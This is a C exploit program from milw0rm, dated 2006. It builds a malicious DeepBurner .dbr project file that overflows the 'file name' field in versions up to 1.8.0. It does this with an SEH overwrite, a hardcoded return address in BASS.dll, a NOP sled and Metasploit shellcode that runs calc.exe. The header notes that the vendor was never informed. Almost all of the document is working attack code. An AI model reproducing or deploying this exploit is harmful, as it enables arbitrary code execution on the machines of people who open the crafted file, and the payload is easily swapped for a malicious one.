/*
_______ ________ .__ _____ __
___ __\ _ \ ____ \_____ \ | |__ / | | ____ | | __
\ \/ / /_\ \ / \ _(__ < ______ | | \ / | |__/ ___\| |/ /
> <\ \_/ \ | \/ \ /_____/ | Y \/ ^ /\ \___| <
/__/\_ \\_____ /___| /______ / |___| /\____ | \___ >__|_ \
\/ \/ \/ \/ 18\12\06 \/ |__| \/ \/
* mm. dM8
* YMMMb. dMM8 _____________________________________
* YMMMMb dMMM' [ ]
* `YMMMb dMMMP [ There are doors I have yet to open ]
* `YMMM MMM' [ windows I have yet to look through ]
* "MbdMP [ Going forward may not be the answer ]
* .dMMMMMM.P [ ]
* dMM MMMMMM [ maybe I should go back ]
* 8MMMMMMMMMMI [_____________________________________]
* YMMMMMMMMM www.netbunny.org
* "MMMMMMP [Happy holidays to everybody]
* MxM .mmm
* W"W """
[i] Title: DeepBurner <= 1.8.0 dbr parsing remote buffer overflow
[i] Discovered by: Expanders
[i] Exploit by: Expanders - expanders [aaat] gmail [dooot] com
[i] References: http://www.deepburner.com/
[i] Greatings: x0n3-h4ck - netbunny
[ Research diary ]
Another classical buffer overflow. This time is located in the "file name" tag of the dbr file.
if we supply more than 272 bytes of buffer we can trigger an access violation
and we can overwrite SEH handler. After that stack get a little bit corrupted, btw nothing that a tricky jmpover
cannot avoid :)
[ Timeline ]
Vendor hasn't been informed. Damned greyhats!
[ Notes ]
RETcode type: POP REG, POP REG, RET
To improve realiability you can search your own RETcodes..
[ Special Thanks ]
H D Moore
Greg Linares <--- You're awesome man!
[ Links ]
www.x0n3-h4ck.org
www.netbunny.org
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
// Exploit internals, change only if you know what you are doing
#define BUFFSIZE 1000
// Offsets
#define SEH_OFFSET 272
int banner();
int usage(char *filename);
unsigned char header[] =
"\x3C\x44\x65\x65\x70\x42\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F"
"\x72\x64\x20\x76\x65\x72\x3D\x22\x31\x2E\x38\x2E\x30\x2E\x32\x32"
"\x34\x22\x20\x74\x79\x70\x65\x3D\x22\x64\x61\x74\x61\x22\x3E\x0D"
"\x0A\x20\x20\x20\x20\x3C\x64\x61\x74\x61\x5F\x63\x64\x20\x76\x65"
"\x72\x3D\x22\x31\x22\x20\x64\x65\x76\x69\x63\x65\x3D\x22\x22\x20"
"\x73\x65\x73\x73\x69\x6F\x6E\x32\x69\x6D\x70\x6F\x72\x74\x3D\x22"
"\x30\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x64\x69\x73\x63"
"\x3D\x22\x31\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x74\x72"
"\x61\x63\x6B\x3D\x22\x31\x22\x20\x62\x6F\x6F\x74\x61\x62\x6C\x65"
"\x3D\x22\x30\x22\x20\x62\x6F\x6F\x74\x5F\x69\x6D\x61\x67\x65\x5F"
"\x70\x61\x74\x68\x3D\x22\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20"
"\x20\x20\x3C\x64\x69\x72\x20\x6E\x61\x6D\x65\x3D\x22\x43\x44\x52"
"\x6F\x6F\x74\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x3E\x0D\x0A\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65"
"\x20\x6E\x61\x6D\x65\x3D\x22\x74\x65\x73\x74\x2E\x74\x78\x74\x22"
"\x20\x70\x61\x74\x68\x3D\x22";
unsigned char footer[] =
"\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
"\x20\x20\x20\x20\x20\x20\x3C\x2F\x64\x69\x72\x3E\x0D\x0A\x20\x20"
"\x20\x20\x3C\x2F\x64\x61\x74\x61\x5F\x63\x64\x3E\x0D\x0A\x20\x20"
"\x20\x20\x3C\x63\x64\x5F\x6C\x61\x62\x65\x6C\x20\x76\x65\x72\x3D"
"\x22\x31\x22\x20\x7A\x6F\x6F\x6D\x3D\x22\x30\x22\x20\x76\x69\x65"
"\x77\x3D\x22\x6C\x61\x62\x65\x6C\x22\x20\x6C\x61\x79\x6F\x75\x74"
"\x3D\x22\x73\x74\x61\x6E\x64\x61\x72\x74\x22\x3E\x0D\x0A\x20\x20"
"\x20\x20\x20\x20\x20\x20\x3C\x6C\x61\x62\x65\x6C\x20\x2F\x3E\x0D"
"\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x72\x6F\x6E\x74\x20"
"\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x61\x63"
"\x6B\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x63\x64\x5F\x6C"
"\x61\x62\x65\x6C\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x61\x75\x74\x6F"
"\x72\x75\x6E\x20\x76\x65\x72\x3D\x22\x31\x22\x20\x75\x73\x65\x3D"
"\x22\x30\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D"
"\x61\x69\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x4D\x61\x69\x6E\x46\x6F"
"\x72\x6D\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22"
"\x22\x20\x68\x69\x6E\x74\x3D\x22\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
"\x20\x20\x20\x20\x20\x20\x3C\x74\x69\x74\x6C\x65\x20\x6E\x61\x6D"
"\x65\x3D\x22\x54\x69\x74\x6C\x65\x22\x20\x74\x65\x78\x74\x3D\x22"
"\x54\x69\x74\x6C\x65\x22\x20\x68\x69\x6E\x74\x3D\x22\x54\x69\x74"
"\x6C\x65\x20\x62\x6F\x78\x22\x20\x6C\x65\x66\x74\x3D\x22\x31\x34"
"\x34\x22\x20\x74\x6F\x70\x3D\x22\x34\x38\x22\x20\x77\x69\x64\x74"
"\x68\x3D\x22\x35\x37\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x33"
"\x33\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x54\x69\x6D"
"\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x22\x20\x66\x6F"
"\x6E\x74\x73\x69\x7A\x65\x3D\x22\x32\x30\x22\x20\x66\x6F\x6E\x74"
"\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69"
"\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C"
"\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20"
"\x20\x20\x3C\x63\x6F\x6D\x6D\x65\x6E\x74\x20\x6E\x61\x6D\x65\x3D"
"\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x73\x22\x20\x74\x65\x78\x74\x3D"
"\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x22\x20\x68\x69\x6E\x74\x3D\x22"
"\x43\x6F\x6D\x6D\x65\x6E\x74\x20\x62\x6F\x78\x22\x20\x6C\x65\x66"
"\x74\x3D\x22\x34\x30\x22\x20\x74\x6F\x70\x3D\x22\x37\x36\x22\x20"
"\x77\x69\x64\x74\x68\x3D\x22\x38\x39\x22\x20\x68\x65\x69\x67\x68"
"\x74\x3D\x22\x32\x39\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D"
"\x22\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E"
"\x22\x20\x66\x6F\x6E\x74\x73\x69\x7A\x65\x3D\x22\x31\x35\x22\x20"
"\x66\x6F\x6E\x74\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20"
"\x76\x69\x73\x69\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74"
"\x73\x74\x79\x6C\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
"\x20\x20\x20\x20\x20\x20\x3C\x65\x78\x69\x74\x62\x75\x74\x74\x6F"
"\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x42\x75\x74\x74\x6F\x6E\x45\x78"
"\x69\x74\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22"
"\x22\x20\x69\x6D\x61\x67\x65\x5F\x64\x6F\x77\x6E\x5F\x70\x61\x74"
"\x68\x3D\x22\x22\x20\x74\x65\x78\x74\x3D\x22\x45\x78\x69\x74\x22"
"\x20\x68\x69\x6E\x74\x3D\x22\x45\x78\x69\x74\x20\x74\x68\x69\x73"
"\x20\x70\x72\x6F\x67\x72\x61\x6D\x22\x20\x6C\x65\x66\x74\x3D\x22"
"\x31\x32\x30\x22\x20\x74\x6F\x70\x3D\x22\x39\x36\x22\x20\x77\x69"
"\x64\x74\x68\x3D\x22\x37\x35\x22\x20\x68\x65\x69\x67\x68\x74\x3D"
"\x22\x32\x35\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x4D"
"\x53\x20\x53\x61\x6E\x73\x20\x53\x65\x72\x69\x66\x22\x20\x66\x6F"
"\x6E\x74\x73\x69\x7A\x65\x3D\x22\x38\x22\x20\x66\x6F\x6E\x74\x63"
"\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69\x62"
"\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C\x65"
"\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x61"
"\x75\x74\x6F\x72\x75\x6E\x3E\x0D\x0A\x3C\x2F\x44\x65\x65\x70\x42"
"\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F\x72\x64\x3E\x0D\x0A";
/* win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
/* Known badchars: 0x00 0x3c 0x3e 0x0a 0x0d 0x22 0x2F */
unsigned char shellcode[] =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08"
"\x6b\x48\x82\x83\xeb\xfc\xe2\xf4\xf4\x83\x0c\x82\x08\x6b\xc3\xc7"
"\x34\xe0\x34\x87\x70\x6a\xa7\x09\x47\x73\xc3\xdd\x28\x6a\xa3\xcb"
"\x83\x5f\xc3\x83\xe6\x5a\x88\x1b\xa4\xef\x88\xf6\x0f\xaa\x82\x8f"
"\x09\xa9\xa3\x76\x33\x3f\x6c\x86\x7d\x8e\xc3\xdd\x2c\x6a\xa3\xe4"
"\x83\x67\x03\x09\x57\x77\x49\x69\x83\x77\xc3\x83\xe3\xe2\x14\xa6"
"\x0c\xa8\x79\x42\x6c\xe0\x08\xb2\x8d\xab\x30\x8e\x83\x2b\x44\x09"
"\x78\x77\xe5\x09\x60\x63\xa3\x8b\x83\xeb\xf8\x82\x08\x6b\xc3\xea"
"\x34\x34\x79\x74\x68\x3d\xc1\x7a\x8b\xab\x33\xd2\x60\x9b\xc2\x86"
"\x57\x03\xd0\x7c\x82\x65\x1f\x7d\xef\x08\x29\xee\x6b\x45\x2d\xfa"
"\x6d\x6b\x48\x82";
/* Jmp 0x40 bytes over to avoid corruption */
unsigned char jmpover[] =
"\xeb\x40\x90\x90";
struct retcodes{char *platform;unsigned long addr;} targets[]= {
{ "DeepBurner 1.8.0", 0x10017928 }, // BASS.dll pop ecx, pop ecx, ret
{ "Crash - Testing" , 0xbadc0ded },
};
int banner() {
printf("\n _______ ________ .__ _____ __ \n");
printf("___ __\\ _ \\ ____ \\_____ \\ | |__ / | | ____ | | __ \n");
printf("\\ \\/ / /_\\ \\ / \\ _(__ < ______ | | \\ / | |__/ ___\\| |/ / \n");
printf(" > <\\ \\_/ \\ | \\/ \\ /_____/ | Y \\/ ^ /\\ \\___| < \n");
printf("/__/\\_ \\\\_____ /___| /______ / |___| /\\____ | \\___ >__|_ \\ \n");
printf(" \\/ \\/ \\/ \\/ \\/ |__| \\/ \\/ \n\n");
printf("[i] Title: \tDeepBurner <= 1.8.0 dbr compilation Buffer overflow\n");
printf("[i] Discovered by:\tExpanders\n");
printf("[i] Exploit by: \tExpanders\n\n");
return 0;
}
int usage(char *filename) {
int i;
printf("Usage: \t%s <filename> <targ>\n\n",filename);
printf(" \t<filename> : Output filename\n");
printf(" \t<targ> : Target from the list below\n\n");
printf("Ex: \t%s exploit.dbr 0\n\n",filename);
printf("# \t Platform\n");
printf("-----------------------------------------------\n");
for(i = 0; targets[i].platform; i++)
printf("%d \t %s\n",i,targets[i].platform);
printf("-----------------------------------------------\n");
exit(0);
}
int main(int argc, char *argv[]) {
FILE *output;
int position;
char *buffer;
banner();
if( argc != 3 )
usage(argv[0]);
printf("[+] Target is: %s\n",targets[atoi(argv[2])].platform);
printf("[+] Creating evil buffer...");
fflush(stdout);
buffer = (char *) malloc(BUFFSIZE);
position = 0;
memset(buffer,0x41,BUFFSIZE);
memset(buffer,0x41,SEH_OFFSET); position += SEH_OFFSET;
memcpy(buffer+position,jmpover,4); position += 4;
memcpy(buffer+position,&targets[atoi(argv[2])].addr,4); position += 4;
memset(buffer+position,0x90,0x40); position += 0x40; // shift 0x40 bytes ahead to avoid corruption
memcpy(buffer+position,shellcode,strlen(shellcode)); position += strlen(shellcode);
memset(buffer+position,0x00,1);
printf("done\n");
printf("[+] Opening file...");
fflush(stdout);
if(!(output = fopen(argv[1],"w"))) {
fprintf(stderr,"error\n");
return 1;
}
printf("done\n");
printf("[+] Writing stuff into the file\n");
fprintf(output,"%s%s%s",header,buffer,footer);
printf("[+] Done! %s created!\n",argv[1]);
fclose(output);
free(buffer);
return 0;
}
// milw0rm.com [2006-12-19]
